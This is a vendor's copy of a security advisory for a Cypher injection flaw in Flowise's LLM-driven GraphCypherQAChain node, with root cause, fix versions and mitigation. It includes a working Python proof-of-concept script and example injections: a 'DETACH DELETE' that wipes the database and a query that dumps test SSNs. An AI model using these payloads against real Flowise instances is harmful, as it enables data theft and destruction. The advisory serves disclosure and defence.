GHSA-28g4-38q8-3cwc
GHSA-28g4-38q8-3cwc is a security vulnerability in flowise. O3 Security confirms whether GHSA-28g4-38q8-3cwc is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Flowise: Cypher Injection in GraphCypherQAChain
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
flowisenpmDescription
Summary
The GraphCypherQAChain node forwards user-provided input directly into the Cypher query execution pipeline without proper sanitization. An attacker can inject arbitrary Cypher commands that are executed on the underlying Neo4j database, enabling data exfiltration, modification, or deletion.
Vulnerability Details
| Field | Value |
|---|---|
| Affected File | packages/components/nodes/chains/GraphCypherQAChain/GraphCypherQAChain.ts |
| Affected Lines | 193-219 (run method) |
Prerequisites
To exploit this vulnerability, the following conditions must be met:
- Neo4j Database: A Neo4j instance must be connected to the Flowise server
- Vulnerable Chatflow Configuration:
- A chatflow containing the Graph Cypher QA Chain node
- Connected to a Chat Model (e.g., ChatOpenAI)
- Connected to a Neo4j Graph node with valid credentials
- API Access: Access to the chatflow's prediction endpoint (
/api/v1/prediction/{flowId})
Root Cause
In GraphCypherQAChain.ts, the run method passes user input directly to the chain without sanitization:
async run(nodeData: INodeData, input: string, options: ICommonObject): Promise<string | object> {
const chain = nodeData.instance as GraphCypherQAChain
// ...
const obj = {
query: input // User input passed directly
}
// ...
response = await chain.invoke(obj, { callbacks }) // Executed without escaping
}
Impact
An attacker with access to a vulnerable chatflow can:
- Data Exfiltration: Read all data from the Neo4j database including sensitive fields
- Data Modification: Create, update, or delete nodes and relationships
- Data Destruction: Execute
DETACH DELETEto wipe entire database - Schema Discovery: Enumerate database structure, labels, and properties
Proof of Concept
poc.py
#!/usr/bin/env python3
"""
POC: Cypher injection in GraphCypherQAChain (CWE-943)
Usage:
python poc.py --target http://localhost:3000 --flow-id <FLOW_ID> --token <API_KEY>
"""
import argparse
import json
import urllib.request
import urllib.error
def post_json(url, data, headers):
req = urllib.request.Request(
url,
data=json.dumps(data).encode("utf-8"),
headers={**headers, "Content-Type": "application/json"},
method="POST",
)
with urllib.request.urlopen(req, timeout=15) as resp:
return resp.status, resp.read().decode("utf-8", errors="replace")
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:3000")
ap.add_argument("--flow-id", required=True, help="Chatflow ID with GraphCypherQAChain")
ap.add_argument("--token", help="Bearer token / API key if required")
ap.add_argument(
"--injection",
default="MATCH (n) RETURN n",
help="Cypher payload to inject",
)
args = ap.parse_args()
payload = {
"question": args.injection,
"overrideConfig": {},
}
headers = {}
if args.token:
headers["Authorization"] = f"Bearer {args.token}"
url = args.target.rstrip("/") + f"/api/v1/prediction/{args.flow_id}"
try:
status, body = post_json(url, payload, headers)
print(body if body else f"(empty response, HTTP {status})")
except urllib.error.HTTPError as e:
print(e.read().decode("utf-8", errors="replace"))
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
main()
Test Environment Setup
1. Start Neo4j with Docker:
docker run -d \
--name neo4j-test \
-p 7474:7474 \
-p 7687:7687 \
-e NEO4J_AUTH=neo4j/testpassword123 \
neo4j:latest
2. Create test data (in Neo4j Browser at http://localhost:7474):
CREATE (a:Person {name: 'Alice', secret: 'SSN-123-45-6789'})
CREATE (b:Person {name: 'Bob', secret: 'SSN-987-65-4321'})
CREATE (a)-[:KNOWS]->(b)
3. Configure Flowise chatflow (see screenshot)
Exploitation Steps
# Data destruction (DANGEROUS)
python poc.py --target http://127.0.0.1:3000 \
--flow-id <FLOW_ID> --token <API_KEY> \
--injection "MATCH (n) DETACH DELETE n"
Evidence
Cypher injection reaching Neo4j directly:
$ python poc.py --target http://127.0.0.1:3000 --flow-id bbb330a5-... --token ...
{"text":"Error: All sub queries in an UNION must have the same return column names (line 2, column 16 (offset: 22))\n\"RETURN 1 as ok UNION CALL db.labels() YIELD label RETURN label LIMIT 5\"\n ^",...}
The error message comes from Neo4j, proving the injected Cypher is executed directly.
Data destruction confirmed:
$ python poc.py ... --injection "MATCH (n) DETACH DELETE n"
{"json":[],...}
Empty result indicates all nodes were deleted.
Sensitive data exfiltration:
$ python poc.py ... --injection "MATCH (n) RETURN n"
{"json":[{"n":{"name":"Alice","secret":"SSN-123-45-6789"}},{"n":{"name":"Bob","secret":"SSN-987-65-4321"}}],...}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | flowise | all versions | 3.1.0 |
| 📦npm | flowise-components | all versions | 3.1.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flowise. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update flowise to 3.1.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-28g4-38q8-3cwc is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-28g4-38q8-3cwc is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-28g4-38q8-3cwc. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-28g4-38q8-3cwc in your dependencies?
O3 detects GHSA-28g4-38q8-3cwc across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.